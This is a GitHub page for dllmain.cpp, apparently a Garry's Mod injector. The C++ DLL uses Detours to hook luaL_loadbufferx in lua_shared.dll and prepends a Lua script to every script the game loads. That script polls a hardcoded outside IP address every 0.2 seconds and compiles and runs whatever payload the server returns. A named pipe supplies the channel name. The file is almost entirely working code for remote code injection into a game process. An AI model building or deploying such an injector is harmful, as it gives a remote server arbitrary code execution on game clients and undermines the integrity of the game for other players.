-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdllmain.cpp
More file actions
154 lines (124 loc) · 4.2 KB
/
dllmain.cpp
File metadata and controls
154 lines (124 loc) · 4.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "detours.h"
#include <windows.h>
#include <iostream>
#pragma comment(lib, "detours.lib")
typedef int(__cdecl* tLuaL_loadbufferx)(
void* L, const char* buff, size_t sz, const char* name, const char* mode);
tLuaL_loadbufferx oLuaL_loadbufferx = nullptr;
bool connected = false;
std::string luaScript = R"(
local ChannelName = "N5SeT";
local LastUUID;
if CLIENT and CompileString and not _G[ChannelName] then
_G[ChannelName] = true;
print("Injected [" .. ChannelName .. "]");
--http.Fetch("http://178.104.234.243/gmod/api/" .. ChannelName .. "/injected", function() end, function() end);
local function FetchScripts()
http.Fetch("http://178.104.234.243/gmod/api/" .. ChannelName, function(body)
local ok, Data = pcall(util.JSONToTable, body)
if not ok then
timer.Simple(0.2, FetchScripts);
return print("JSON parse failed")
end
if not Data.success then
timer.Simple(0.2, FetchScripts);
return
end
if not Data.payload then
timer.Simple(0.2, FetchScripts);
return;
end
local Payload = Data.payload;
if LastUUID == Payload.uuid then
timer.Simple(0.2, FetchScripts);
return
end
LastUUID = Payload.uuid
local fn, err = CompileString(Payload.text, "client");
if not fn then
timer.Simple(0.2, FetchScripts);
return print("Compile error:", err)
end;
local ok2, err2 = pcall(fn)
if not ok2 then
timer.Simple(0.2, FetchScripts);
return print("Runtime error", err2)
end;
timer.Simple(0.2, FetchScripts);
end,
function(err)
print("Fetch failed:", err)
timer.Simple(0.2, FetchScripts);
end)
end
timer.Simple(0.2, FetchScripts);
end;
)";
int __cdecl hkLuaL_loadbufferx(void* L, const char* buff, size_t sz, const char* name, const char* mode)
{
std::string script(buff, sz);
std::string modifiedScript;
if (connected) {
modifiedScript = luaScript + script;
}
else {
modifiedScript = script;
}
int ret = oLuaL_loadbufferx(L, modifiedScript.c_str(), modifiedScript.size(), name, mode);
return ret;
}
void HookLuaL_loadbufferx(uintptr_t LuaShared)
{
uintptr_t addr = (uintptr_t)LuaShared + 0x14D90;
std::cout << "luaL_loadbufferx: 0x" << std::hex << addr << std::endl;
oLuaL_loadbufferx = (tLuaL_loadbufferx)addr;
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)oLuaL_loadbufferx, hkLuaL_loadbufferx);
DetourTransactionCommit();
}
DWORD WINAPI main(LPVOID lpParam)
{
auto LuaShared = GetModuleHandleA("lua_shared.dll");
HookLuaL_loadbufferx((uintptr_t)LuaShared);
HANDLE hPipe = CreateNamedPipeA("\\\\.\\pipe\\GarrysModExecutor",
PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT,
1, 1024, 1024, 0, NULL);
while (true)
{
if (ConnectNamedPipe(hPipe, NULL) || GetLastError() == ERROR_PIPE_CONNECTED)
{
char buffer[512] = { 0 };
DWORD bytesRead;
ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL);
if (!connected) {
std::cout << "Recieved Channel: " << buffer << std::endl;
size_t pos = luaScript.find("N5SeT");
if (pos != std::string::npos) {
luaScript.replace(pos, 5, buffer);
connected = true;
}
}
}
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, main, nullptr, 0, nullptr);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}